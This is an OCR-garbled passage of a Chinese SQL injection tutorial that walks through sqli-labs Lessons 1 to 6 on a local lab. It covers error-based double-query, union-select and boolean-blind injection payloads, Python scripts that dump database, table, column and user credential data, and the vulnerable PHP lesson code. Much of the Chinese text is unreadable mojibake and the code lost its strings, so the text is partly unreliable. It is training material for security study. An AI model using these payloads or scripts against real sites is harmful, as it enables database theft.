BEAT A5 S SR HOAR SR AN FE 202 S T AN AR — B A O/ T, I Fa2 45 B AT
AR RIR 2 BB R (O BURE B, ANEREE R webserver (52, X SEAUR(E BAEAE AT
XHE MR IER B . WERAIREASELF (1 F12 ThRE, WS 2 214 W !

55 Ti/3k 128 HRHW: &H 28 H HTIE: %k
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1.9Double SQL Injection

ZHIE AN, 1L sqli-labs 55 TLRANEE N 7 HTE, BH AR EENE T
AW, FTBAZ R T — FRERTEA

1.9.1 WEH#

2 WEW ? S — select 1BA)HHRE —> select iEH), WK

mysgl> select count{<(select database{>>>;

row in set (B.B@ sec)

TEE W R, 2 JAT select database()ifif), #AJ5 FREIZIE ) FIPAT 45 FAL 445 count()
PR, A BIZMEK AT .

S B RIEN, KFEFESL T count(). rand(). floor()iX =R EK ThRELL K group by
A

mysgl> select count{*> from information_schema.columns;

<A.82 sec>

row in set {B.PA secl>

select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;

#5656 /128 WRRHBI: fEH 28 H HBTFRE: Htk
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select concat(0x3a,0x3a,(select database()),0x3a,0x3a) as a;
HX PR ME R B S R R0, H concat() A &N T 2 e i 45 R 4 2
A~k g5 AT group by 4338,

mysgl> select concat(@x3a.Bx3a.(select database())> Bx3a.Bx3ad;

mysgl> select table_name from information_schema.tahles where tahle_schema=’seurity’;
Empty set (B.80 sec)

mysgl> select table_name from information_schema.tahles where tahle_schema=’'security’;

H
referers H
uagents H
users H

4 rows in set (.88 sec)

mysgl> select table_name.tahle_schema from information_schema.tahles group by tahle_schemas;
—

tahle_name
o
vra8my297j
CHARACTER_SETS
columns_priv
emails
P

4 rows in set (B.88

challenges
information_schema

I

REATULESR], HIHPRE security T H 4 >3 (emails. referers. uagents. users), 43A]
fiiFH 1 group by table_schema ifit1) )5, mioxt&MEdE 24 K738, RAEuE FE R B
—ANF4, WAL group by table_name Ht <=2l N 45 R

¥ 57 BU/6 128 WREEM: RH 28 H RTRE: 6l
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mysgl> select tahle_name.table_schema from information_schema.tabhles group by table_name;

CHARACTER_SETS information_schema

COLLATIONS information_schema

COLLATION_CHARACTER_SET_APPLICABILITY information_schema

COLUMNS information_schema

columns_priv mysgl

COLUMN_PRIVILEGES information_schema
mysgl
security
information_schema
mysgl
information_schema
information_schema
mysgl

general_log mysgl

GLOBAL_STATUS information_schema

GLOBAL_UVARIABLES information_schema

help_category mysgl

help_keyword mysgl

help_relation mysgl

help_topic mysgl

host mysgl

KEY_COLUMN_USAGE information_schema

ndb_hinlog_index mysgl

PARTITIONS information_schema

plugin mysgl

PLUGINS information_schema

— LR N DURI, A group by THJZE G rand()ERELLL AR count (%) IXFERI RS KL,
7 SQL Erif it <> AR R, X PR BN A0, XA T EEEN . [FH floor()
RN TR B R, TG B
NS saLifih), KIZ ALK duplicate entry USSR,  HARGIRATT TR Z 1015 BAT
BHET

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from

information_schema.columns group by a;

mysgl> select count<{*}.concat{Bx3a.@x3a.(select database{>> Bx3a.Bx3a.floor(rand{>=2>>a from informa
tion_schema.columns group by a;

in set (A.82 sec)

myzgl> select count(*).concat{Bx3a.@x3a,.(zelect database()d) Bx3a.Bx3a.floor(rand(d=*2>3a from informa
tion_schema.columns group by a;

mysgl> select count{*}.concat{Bx3a.Bx3a,.(select database{>>.Bx3a.8x3a.floor{(rand{>=2>>a from informa
tion_schema.columns group hy a;

ERROR 1862 <(230@@>: Duplicate entry '::isecurity:z:i’ for key ’group_key’

mysgl>

R, AOTER R E BN FEZNE LS, MAREEERMSER, FNIERE
i, WL A S IRATIRE"You are in”, 41 R

http://127.0.0.1/sqlilabs/Less-5/?id=1" union  select  1,count(*),concat(Ox3a,0x3a,(select
database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

%58 T/ 128 HARHM: mH 28 H HyRE: Rk
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@ SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS+ WAF BYPASS ENCODING= HTML- ENCRYPTION- OTHER- XSS+ LFI-

http://127.0.0.1/sqlilabs/Less-5/2id=1" union select 1,count(*),concat(0x3a,0x3a, (select EENNBEEEN), 0x3a,0x3a floor(rand(*2))a from information_schema.colurr
group by a--+

Post data Referrer

& OxHEX ™ &= %URL ™ &= BASEGd ™

¥| Replace Al

Welcome
You are in...

@ SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

http://127.0.0.1/sglilabs/Less-5/?id=1" union select 1,count(*),concat(0x3a,0x3a,(select -,OxSa,Ox3a,floor(rand(,l*l}}a from information_schema.colun
group by a--+

Post data Referrer €% OxHEX ¥ @X %URL ¥ @X BASEG4 3B V| Replace Al

Welcome
Duplicate entry ": ::0" for key 'group_key'

http://127.0.0.1/sqlilabs/Less-5/?id=1" union  select  1,count(*),concat(Ox3a,0x3a,(select
user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

http://127.0.0.1/sqlilabs/Less-5/?id=1" union select 1,count(*),concat(0x3a,0x3a,(select [[SMM.0x32,0x3a,floor(rand()*2))a from information_schema.columns g
by a--+

Post data Referrer @K OxHEX | 3B &K %URL 3B @K BASEG4 M | /nsert string to rep sert replscing string | [¥] Replace Al

Welcome
Duplicate entry ": 1" for key 'group_key’

4 B N4 floor()s rand(0). count(). group by FHZE &, 2P A X FhAERIE ? 24 FR AR
I google # T U TRl (HEHE BEATEA U . f5oR %0 zusheng K8, gy 17— LA
BT % 2= b B3 B SCE:Mysal i EHEAN BP0 (count() . rand(). group by), XX EEHH
S, VR BT 1A A

5, rand(0)) AW SR L-FHER 1 rand() R &R A BIBENLIE, AW LXK, AT K
BRI (01101)
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http://127.0.0.1/sqlilabs/Less-5/?id=1
http://drops.chamd5.org/#!/drops/1140.Mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90(count()%E3%80%81rand()%E3%80%81group%20by)

(2K 365 LA FL) 2 6 HiZ+E w5 : antian365-20170928

myzsgl> select floor<{randC(@>=*2) from information_schema.schemata;

5 rows in set (B.8B sec)

mysgl> select floor<{rand(B)=2) from information_schema.schemata;

L rows in set (B.88 sec)

myzsgl> select floor<{randC(@>=*2) from information_schema.schemata;

S rows in set (B.88 sec>

Fxk, A4 H group by iBEH)H count() BRI ALK g, mysql Eod e ox e 7 — MR, HEH)
FH AR LR, B PR 2l AR AR R, W IR R b CAR AR i, AR B
PRI BN 1o BT R

i 2

B TEAVEH] T rand(0), EAEWMEIRZ AT LT T rand(0), H—XKIFIZIRN 0,
RIVEMRAFEA, Pro by 24 0, fEMAN, rand(0) 8 B ZHAT 3, BEI
RN LARYE E—kE A AW 4R 01101 AT, 28 ZIRE WA RN 1), AT AR 224
ANBE 1, BUR—25idskdil, BRI

£ AL
1 1

FREH RINABEAE, AT A FESi AN HE R A B SCEHRAT — IR rand(0), HSRIRATE BT
rand(0) BRI, 3R [ 45 R A AR, (2, X THEURPET S, rand(0)HtE — MR FIIAR
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B, e RIRMEA S A ENE.
WO 20 &0, BRINHAAT rand(0)iR [B1 K25 SR D9 L(ULINF 2B T 01101 (158 =R B 4h
K1), EREMRKIE 1 CaMFE, rUESm 1, BRI

£ AL
1 2

U =250 &, BRI PRAT rand(0)i& [91 {45 3R Dy O(BEI X B2 _E T 01101 FY 58 IU VR & ) 45
R0), KIEMRAEAR 0, PrUZRELEANEMR. FFEAES AEMRKNE, rand(0)
MAAT 7 i, eSS ROy B 01101 MU TLIREE R 1, (HRHE 1 CAFAE IR,
W A e, BTRASEI st i . B AEAEH] floor()s rand(0). count(). group by I,
Hmh 202 3 JKidR A 2.

SR ETEA A, AEBST ERIE R RR (3 A select 157]), ARJE AU LIFIT
LT IRTFIE T

g

& SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS~ ENCODING- HTML- EMNCRYPTION- OTHER- XSS+ LFI-

http:f/127.0.0.1/sqglilabs/Less-5/%id=1" union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema="se|
limit 0,1},0x3a,0x3a,floor{rand()*2))a from information_schema.columns group by a--+

Post data Referrer @ OxHEX 3B @ %URL 3B @ BASEGA I | [nsort stning fo repls slzcing string | [¥] Replace A

Welcome
Duplicate entry ": ::1' for key 'group_key'

e 77 ;. H /1 I H . r P ‘. e . .
http://127.0.0.1/sglilabs/Less-5/2id=1' union select 1,count(*),concat(0x3a,0x3a,(select concat(table_name) from information_schema.tables where |
table_schema="security" limit 3,1),0x3a,0x3a floor(rand(}*2))a from information_schema.columns group by a--+

[] Post data Referrer @& OxHEX X &K %URL &% BASE6A I Insert string to replace| | Insert replacing string | [¥] Replaci

Welcome
Duplicate entry ": ::0" for key 'group_key"

IR
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/http://‘l27.0.0.ll’sqlilabs/"Less-5/"?id-1' union select 1,count(*),concat(0x3a,0x3a, (I —

,0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

OxHEX 3

[
L]

6URL X &= BASE64

V| Replace Al

Post data Referrer

Welcome
Duplicate entry ": ' for key

http://127.0.0.1/sqlilabs/Less-5/2id=1" union select 1,count(*),concat(0x3a,0x3a,(
). 0x32,0x3a floor(rand()*2))a from information_schema.columns group by a--+

Post data Referrer @& OxHEX ¥ & %URL B @& BASE64

Welcome
Duplicate entry ":

o
“ 5
| = FIL
1B B
(.http:_/"/l.?7.C.D4l/sq|ilabs/"Less-i/"?id:l' union select 1.count(’,1,concat(Cx3a.Cx:‘:a,(_J,O:da,sta,f’loor(randl'l"Zﬁl1a from

information_schema.columns group by a--+

Post data Referrer €% OxHEX ¥ @® %URL ¥» @& BASE6d B Insert string to replace| | Insert replacing string | [¥] Replace Al

Welcome
Duplicate entry " 1" for key 'group_key’

http://127.0.0.1/sqlilabs/Less-5/?id=1" union select 1,count(*),concat(0x3a,0x3a, (N . 03 2,0x3a floor(rand()*2))a fro

information_schema.columns group by a--+

Post data Referrer @& OxHEX ¥ @& %URL 3 @K BASEG4 XD Insert string to replace sert replacing string | [V] Replace Al

Welcome
Duplicate entry for key 'group_key"
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mysgl> select username.password from security.users limit B.1;

| username | password |

i Dumb I Dumb H

1 row in set (B.B8 secd

B JE WA ARG
requests
bs4 BeautifulSoup
db name =
table list = []
column list = []

url

(

payload =

r = requests. get (url+payload)
db_name = r. text.split( :") [-2]

( + db name)

% db name)
i

payload =

% (db name, 1)
= requests. get (url+payload)

r. text:

table name = r. text.split( :) [-2]
table list. append(table name)

( + table name)

% table list[-1])
i

payload =

% (table list[-1], 1)

r = requests. get (url + payload)

r. text:
column name = r. text.split( :")[-2]

column list. append(column name)

( + column name)
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print ( % column list[-2])

i range (50) :

payload =

(column list[-2], db name, table list[-1], i)
r = requests. get (url + payload)

r.text:

dump = r.text.split( : ) [-2]
print ( + dump)

1.9.2 B4

TSR AT R AR L, AR E L, AT SRR, HURA B B
To FRE, B4ksHn BRI E RN EEVE.

S EB%

double-query-injections-demystified

Mysql 5 EtEN 7 I 7> Hr(count(). rand(). group by)

PRARE$

https://www.youtube.com/watch?v=zaRIcPbfX4M&feature=youtu.be
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http://resources.infosecinstitute.com/double-query-injections-demystified/#gref
http://drops.chamd5.org/#!/drops/1140.Mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90(count()%E3%80%81rand()%E3%80%81group%20by)
https://www.youtube.com/watch?v=zaRlcPbfX4M&feature=youtu.be
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1.10Error Based Sql Injections

1.10.Lession 1

E—IepthbEE, JRINE RS 2S5 B magic_quotes_gpe, =H#E SkN, 1E php.ini HUE
magic_quotes_gpc ¢ & % Off F5 5 i web ARZSHI AT,
HI W B, WA T id AR SR P 44 AR

@ 192.168.100.105/sqlilabs/Less- d=1

Welcome
Your Login name:Dumb
Your Password:Dumb

‘Error Based- © X

@ 192.168.100.105/sqlilabs/Less-1/7id=14

Welcome
Your Login name:admin4
Your Password:admin4

H: > 1
AR
& Lload URL /http:_:}"12?.C.C.l_a"sq|i|abs_;"Less-1_a'?id:1‘

% split URL

» Execute

-

Post data Referrer €@ OxHEX X @ %URL 3 @& BASEG4 I | [nsert string to :_=:| |_'-'_-'-:' T replacing

 SpmEE Sy  EESEEERTT 7 EXEE B

Welcome

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near "1" LIMIT 0,1' at line 1

7 B

& Load URL /http:_;'_;'12.7.E.E.la‘sqlilabs;‘\_ess-lj?id:1' order by 3--+
% split URL
b Execute

Post data Referrer 4% OxHEX & & %URL ™» ¢ BASERd B

Welcome

Your Login name:Dumb
Your Password:Dumb
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& Load URL /http:_;"_fl2?.C.C.l_f"sqlilabs;"Less-l;"?id:1' order by 4--+
@ split URL

3 Execute

Post data Referrer €% OxHEX ™ &= 9%URL ™» @ BASEG4d Insert string to replace| | Insert replacing s

Unknown column '4" in 'order clause'

P 7R A(2,3 AN R AT

INT v = & S0QLBASICS- UNION BASED~ ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER-
& Load URL /http:_a"_a"lg'f‘.ﬂ.[l.l"sqlilabs_a"Less-l_f?id:-1' union select 1,23--+
% split URL

» Execute

Post data Referrer ¥ OxHEX ¥ & %URL ¥ & BASEGS 3

Welcome
Your Login name:2
Your Password:3

fFH union iBRJE WIS, DA A ] H 5 A E O KBS (10 id=-1, T id A -1 1),
LA AW A, sql 1BME5R AT, Wil BoRBATRIER sql 1B &N g, Bl
union Z JE &R FIHATEE R

IR R 44 (B B e B mysal BRi2K)

INT ¥ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTIOM- OTHER-

@ Load URL /http:_;'}"lz?.C.C.1_;"5q\ilabs_@'Less-l;"?id:-1' union select Lversion(),database(}-+
9 split URL \

» Execute
.

Post data Referrer @ OxHEX ™ & %URL ™ f BASEGE M | [nsert siving to replace| | Insert replacing s

mysqliR 74 HiBESW

Welcome
Your Login name:5.1.73-gommunity
Your Password:security

PR A (BE JE security FIFTH £ 42)

+ & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS5+ LFI-

e . - o . . - p - . . .
http://127.0.0.1/sqglilabs/Less-1/2id=-1" union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema="security"-- 4

Post data Referrer @ OxHEX 3B @& %URL 3 @& BASEG4 3B L."'.'-:' t string to :'-'.'-3'.':" |: t replacing string | [¥] Replace &l

SEEmEhT Rl EAEE g

il

[

Welcome

Your Login name:5.1.73-community

Your Password[emails,referers,uagents,users]
1A % (K users FHIFTE%4)
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+ & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS5+ LFI-

http://127.0.0.1/sqglilabs/Less-1/2id=-1" union select 1,version(),group_concat{column_name) from information_schema.columns where table_name="users"--{

Post data Referrer @ OxHEX 3B @& %URL 3 @& BASEG4 3B V| Replace Al

Welcome
Your Login name:5.1.73-communit
Your Password]d,username password
12 7 Bt {H (security.users BT K5 2 4)

= & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS. ENCODING- HTML- ENCRYPTION~ OTHER- XSS LFI-

httpiff127.0.0.1/sglilabs/Less-1/?id=-1" union select 1,version(),group_concat(username,' password) from security.users--+

Post data Referrer @ OxHEX ™ = %URL ™ &= BA string | [¥] Replace Al

Welcome
Your Login name!5.1.77
Your Password{Dumb:Dumb,Angelina:I-kill-
my:p@ssword,secure:crappylstupid:stupidity,superman:genious,batman:moblle

PSR

<?php

include (
error reporting(0) ;

(isset($§ GET[ 1)

$id=$ GET[ I
$fp=Ffopen (
fwrite ($fp
fclose ($£p) ;
$sql=

$result=mysql query ($sql) ;

$row = mysql fetch array($result) ;

($row)

$row[

. $row[

67 T/ 128 WRHW: 4H 28 H HTIE: %k



(22K 365 ZAEWRY) &6 WEHT: antian365-20170928

echo

print r(mysql error());

echo

{ echo

1.10.2Lession 2

S AERSY AN

s & SQLBASICS- UNION BASED- ERROR/DOUEBLE QUERY- TOOLS+ WAF BYPASSs ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LA~

http://127.0.0.1/sqlilabs/Less-2/%id=1'

[[] Post data [[] Referrer @& OxHEX X % %URL ™» @ BASEG4 I  |/nser I3 = string Replace Al
shEw, sEEEEErey? [P Al TFEE Bl | x

Welcome
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near " LIMIT 0,1' at line 1

A LLE SRS 2 umiT 0,1 BB1E A a T geaniniE a2y
B - s T AR, B N A

fit LA payload W1~

R4

kS

JRARRS R

<{?php
include (
error reporting(0) ;

(isset($ GET[ 1)

$id=$ GET[
$fp=Ffopen (

fwrite ($fp . $id.
fclose ($£p) ;

$sql=

$result=mysql query($sql) ;

$row = mysql fetch array($result) ;
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($row)

echo

echo . $rowl
echo

echo . $row|

echo

echo
print r(mysql error());

echo :

1.10.3Lession 3

REHE R

1 @ SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS+ WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5+ LFI-

http://127.0.0.1/sqglilabs/Less-3/2id=1"

[F] Post data [] Referrer 4 OxHEX ¥ & %URL ¥» 4 BASERd 3

Welcome
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near "1") LIMIT 0,1' at line 1

stz 2 NG+ = e saw ZwiEa s S

1B5 4. 1BEdEIRAL
PSR

error reporting(0) ;

(isset($ GET[ 1))

69 T1/3 128 WRHW: 4H 28 H HWTIE: %k



(22K 365 ZAEWRY) &6 WEHT: antian365-20170928

$id=$ GET[ IE
$fp=Ffopen (

fwrite ($fp . $id.
fclose ($£p) ;

$sql=

$result=mysql query ($sql) ;

$row = mysql fetch array($result) :

($row)

echo

echo . $rowl
echo

echo . $rowl

echo

echo
print r(mysql error());

echo :

1.10.4Lession 4

REHE R

= & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS+ WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LF-

http:f/127.0.0.1/sqlilabs/Less-4/?id=1"

[[] Post data [] Referrer @ OxHEX » % %URL ™» @ BASEG4 T ing Replace Al

Welcome
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near "1"") LIMIT 0,1' at line 1

1BE 4. 1BEdERAL
PSR
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<?php
include (
error reporting(0) ;

(isset($ GET[ 1)

$id=$ GET[

$fp=Ffopen (

fwrite ($fp . $id.
fclose ($fp) ;

$id = . $id .

$sql=

$result=mysql query ($sql) ;

$row = mysql fetch array($result);

($row)

echo

echo . $rowl
echo

echo . $row|

echo

echo
print r(mysql error());

echo

echo

1.11sqli-lab5 BiEAT](—)
1.11.1Lession 5

AR P E W id fERdRE A, AU R R You are in”, TIAMEHT 4 FRABFEZ &
7N H BRI S Y .
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Less-5 Double Query- Single | » +

€& ) @ 127.0.0.1/sqlilabs/Less-5 -1 U & Google <Ctrl+ wBa 4 4

Welcome
You are in

R sql WER)E M RAEAE, WAL ER"You are in”

3s-5 Double Query- Single © x | +

@®  127.0.0.1/sqlilabs/Less-5/?id=1 U 2 w8 +§ 4 - B3

Welcome

KRR sQLIENE T HES, A d=UWERHEL, WFE
s-5 Double Query- Single + ‘,EL,HW@JE

D 127.0.0.1/sqlilabs/Less-5/%id=1 v 2 Google <Ct wB ¥ f& 8- B0 -

Welcome
have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to u
near "1" LIMIT 0,1' at line 1

AT DL BREE(E B AL UMIT 0,1', Wi U E SRR 2 IXFEE . SbneINEmaol

users WHERE id= LIMIT O, 1,

N, BATHATFELEEMR, FEHB substr(). length(). ascii(). left()s count()iX¥t sql
ascii(a) s a ¥ # Ji% H ASCII {21
ord(a) e a ¥ e 57 H ASCII )
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left(a,o) M & & A #& W F K £ a W W b A F O
substr(a,b,c) M b i B JF W, #H B ¥ FHE a B ¢ K E
mid(a,b,c) N E b FFih, #H a FAFHR I ¢ fiL

select * from table_name limit m,n;Z&/m M m+1 FIHE n 26 W 105

BT USHIX—R &, sqli-labs MIEHA 5 S O P LAl

T, FRATESRECYET S PE 2 KR, T2 5 B 2 44 0 il

http://127.0.0.1/sqlilabs/Less-5/2id=1|| T

/http:,i',;"l27.D.G.1/'sqli|abs/'Less-S,/"?id= 1' and (length(database())=1)-- +|

Post data Referrer € OxHEX & %URL &% BASE64 B Insert string to replace| | Insert reph

Welcome

'/'http:f,il27.0.0.l;"sqlilabs/'l_ess-5/'?id=1' and (length(database())=8)--+

Post data Referrer €K OxHEX 3 @K %URL X @K BASEG4 I  |/nsest string to replace| | Insert replacing strin

Welcome

Fmge R el 1 s, R R 1 7 T35 [ T 1E i
(5, TKUH AR R 1 44 KA 8, /AT LT python BN LKA — F, ACREMW T

+

EEIEEES
B SR R P 44 A AT AR

http://127.0.0.1/salilabs/tess-/2io-1 [ T
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http://127.0.0.1/sqlilabs/Less-5/?id=1
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left(database(),1)="s' K" E s I 4 NG —ANFR/F, AWNZFRHFERET s
left(database(),2)="se' EREHE FE 4 ML A DD F4F, FINHZF A2 BE T se
KE s Fl se AR ER, R LAZK ASCll R A A 755
Hi‘i'ﬁﬁkﬂiﬂﬂi&@ ~, RREWR

TE%QI’EU security 204 % T R 1IN

http://127.0.0.1/salilabs/Less-5/2ic=1 N

W55 5L 1 AT IS BRI security B0 B T R IANEL FCREIWT

W RARA RS HILHT select FER), A LIZF#.: sqli-labs lession1-4
SN JE S HIET AN R A K

http://127.0.0.1/salilabs/Less-5?ic=1 N

information_schema. tables where table_schema="security” limit 0, 1), 1,1))—1
1 ] _ETIXAS payload, 205 TR [7]”You are in”, N Fin 5 — ik RKEE /DR 1, FRER,
A1 e [ - =4 g, o st 47 =)
I TR (12, U3 ) 3 — TR R T K A 7-1=6

FIWT R KRG, TN R A TR
http://127.0.0.1/sqlilabs/Less-5/2id=1 |

I HL LS ER b T A AR P 4 SRR AR, IS A A 1 AT I T, o R TR
[A]"You are in”, MIFR/RNEE—5kRMIE — LRI ASCHTEH 1, £S5 ASCI T FR 31X B 1 7
FFELAT LA T o NIRRT BT SCREEIGHE 2, K2 7T)
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and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=95—+

and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=96—+

and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=97—+

and ascii(substri((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=98—+

and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=99—+

and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=100—+
and ascii(substr((select table_name informatien_schema. tables where table_schema=database() 0,1),1,1))=101—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=102—+
and ascii(substr((select table_name informatien_schema. tables where table_schema=database() 0,1),1,1))=103—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=104—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=105—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=106—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=10T—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=108—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=109—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=110—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=111—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=112—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=113—+
and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=114—+

and ascii(substr((select table_name information_schema. tables where table_schema=database() 0,1),1,1))=115—+

HEMEEERER: 8
FrERREES
HiEEE:

[+] security
—HB40k*
HiaERzRE

=]

em
ema

emai
email
emails

r

re

ref

refe
refer
refere
referer
referers
u

ua

SEMEEERER: 8
HisEREES
HiEEES

[+] security
—HB4akE
HinEm®RE

emails

referers

uagents

Uusers

#=E: [emails’, ’referers’, 'uagents', 'users']

R RS A AR BS54 LR B A K FE, B 44 05 i, AT R B AR 22 A
X BOR, BB payload(PA users 94 1) .
RN 5L
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http://127.0.0.1/salilabs/Less-5/?ic=1 RSN

) (RN

http://127.0.0.1/salilabs/Less-5/2ic=1 R

) 21k

http://127.0.0.1/salilabs/Less-5/?ic=1 SRR

[+] password

B e L B AR 51 B ) LA 7 B BE URAEL T (IX LUK A% username J91)
Fr 7Bk

http://127.0.0.1/salilabs/Less-5/ 7ic=1 |

Hr 7 BOK

http://127.0.0.1/salilabs/Less-5/ 7ic=1 |

Hr 7 BUE

http://127.0.0.1/salilabs/Less-57ic=1

FEFFIBAT RO K]
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http://127.0.0.1/sqlilabs/Less-5/?id=1
http://127.0.0.1/sqlilabs/Less-5/?id=1
http://127.0.0.1/sqlilabs/Less-5/?id=1
http://127.0.0.1/sqlilabs/Less-5/?id=1
http://127.0.0.1/sqlilabs/Less-5/?id=1
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His@WLLTFE: [ username’, 'password’ ]
username :

[+] Dumb
Angelina
Dummy
secure
stupid
superman
batman
admin
adminl
admin2
admin3
dhakkan
adming
password :

[+] Dumb

[+] I-kill-you

|+| |+| |+| |+| |+| |+| |+| |+| |+| |+| |+| |+|

"
"
[+] p@ssword
[+] crappy
[+] stupidity
[+] genious
[+] mob!le
[+] admin
5 25 H 5231 python A1 (python3)
requests
url =
db length
db name =
table num =
table len =
table name
table list =
column num =
column len
column name =
column list =
dump_num
dump len =

dump name =

dump list

1 range (1, 20) :
db_payload =

r = requests. get (url+db payload)

r.text:
db length = i

77 ji/F 128 HRHW: H 28 H HTFAE:
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)
(1,db length+1):
J ( )
db payload =
(i, db name+ ()
r = requests. get (url+db payload)
r. text:

db name += @)

db name)

i (
db payload =
% (i, db name)

r = requests. get (url+db payload)

r. text:

table num = i

% table num)

)

(table num) :
table len =

table name =

J (

db_payload =

% (i, 3)

r = requests. get (url+db payload)

r. text:

table len = j—
(1, table len+l):
1 ( ) :

db_payload =

% (i,k, 1)
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r = requests. get (url+db payload)

r. text:
table name += (1)
(table name)
table list.append(table name)

table list)
table list:

J (

db payload =

i, 1)
r = requests. get (url + db payload)
r. text:

column num = j
(( % i) + (column num) +

column num =
( % table list[-1])
J (3):
column name =
k (
db_payload =

(table list[-1], j, k)
r = requests. get (url+db payload)
r. text:

column len = k-

1 (

db_payload =

(table list[-1], j, k, 1)
r = requests. get (url + db payload)
r. text:
column name += (1)

column Hé:l]llC)
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column list. append(column name)
( column list[1:])
column column list[1:]:
(column )
dump num =
i (30) :
db payload =

(i, column, db_name, table list[-1])

r = requests. get (url+db payload)
r. text:

dump num = i

i (dump num) :
dump len =

dUHll) name =

J (
db payload =

% (column, db name, table list[-1], 1, j)
r = requests. get(url + db payload)

r. text:
dump len = j—
k dump len + 1):
1 ( )E
db payload =
% (column, db name, table list[-1],1,k, 1)

r = requests. get (url+db payload)

r. text:

dump name = (1)

dump name)

1.11.2Lession 6

ETHENK, B MREEBENZEREHE S sqL A& i1 5] A SELECT * FROM users WHERE
id="$id” LIMIT 0,1
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= & SOQL BASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

http:_;"_;"12?.C.C‘l_i'sqli\abs;"Less-d{?id SiE I

Post data Referrer €& OxHEX ¥» @X %URL X &= BASEGd B 15 | [¥] Replace

Welcome

error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near'"1"" LIMIT 0,1' at line 1

FrBA B A IR B AR BT, JEAS T payload #7017 (151 ) Ul (W 515 RIT Y

zet (url+db

in r tav

1.11.3 .55

R R RN T 2] sql §if, ESHREBETWARET, Foy—E AT A RIE
WREL, (ER AR e B 58 o L SARI IR A R 22 75 w] AT, B g e 5 AT LA
TN, BRRCRE IR, I RREET I,

1.12Sqli-labs S IEFE &

1.12.1 4

SQLI-LABS J2 8 1 24 SQL VAR R MAIALE, AT LAR SR S AR SR AL SQL

HEAN.
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Error Based Sql Injections — Union select type.

Error Based Sql Injections — Double Query type.

Boolian Based Blind Injections.
Time Based Blind Injections.
ing the DB using outfile / Dumpfile.
Sql injections Error | | type — union select.
Sql injections — Double injection type.

Blind injections —Boolian / Time based.

11. Injection in cookies.

1.12.2 FFiEfE &

%% phpstudy: http://www.phpstudy.net/

& sqli-labs:  https://github.com/Audi-1/sgli-labs

B HUF 1 sqli-labs f# BN phpstudy 1 www H3& R

&4 sql-connections/db-creds.inc U424 F ) mysql K5 25 it

@-\;}-v| i i< phpStudy » WWW » sqlilabs » sgl-connections | v|4?|| HEE sql-connections
|mr  BIF v EErieE = v
r W =4 EfrHE E-Sic] Foh

8 T | | db-creds.inc 2017/9/6 14:58
W= 8] functions.php 2014/10/
| B RE 8| setup-db.php 2014410431 12:10
8| setup-db-challenge.php 2014/10/31 12:10
- E & c\phpStudy\WWW\sqlilabs\sgl-connections\db-creds.inc - Sublime Text
[ R File Edit Selection Find View Goto Tools Project Preferences Help
%I = db-creds.inc
]
< =5
gl connection username n passworc
o sza
1 HE,
G s

R — AT 2%
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SQL Injections +

|
:
Iy
i}
o
i

€& @ 127001

SQLiI-LABS Page-1(Basic Challenges)

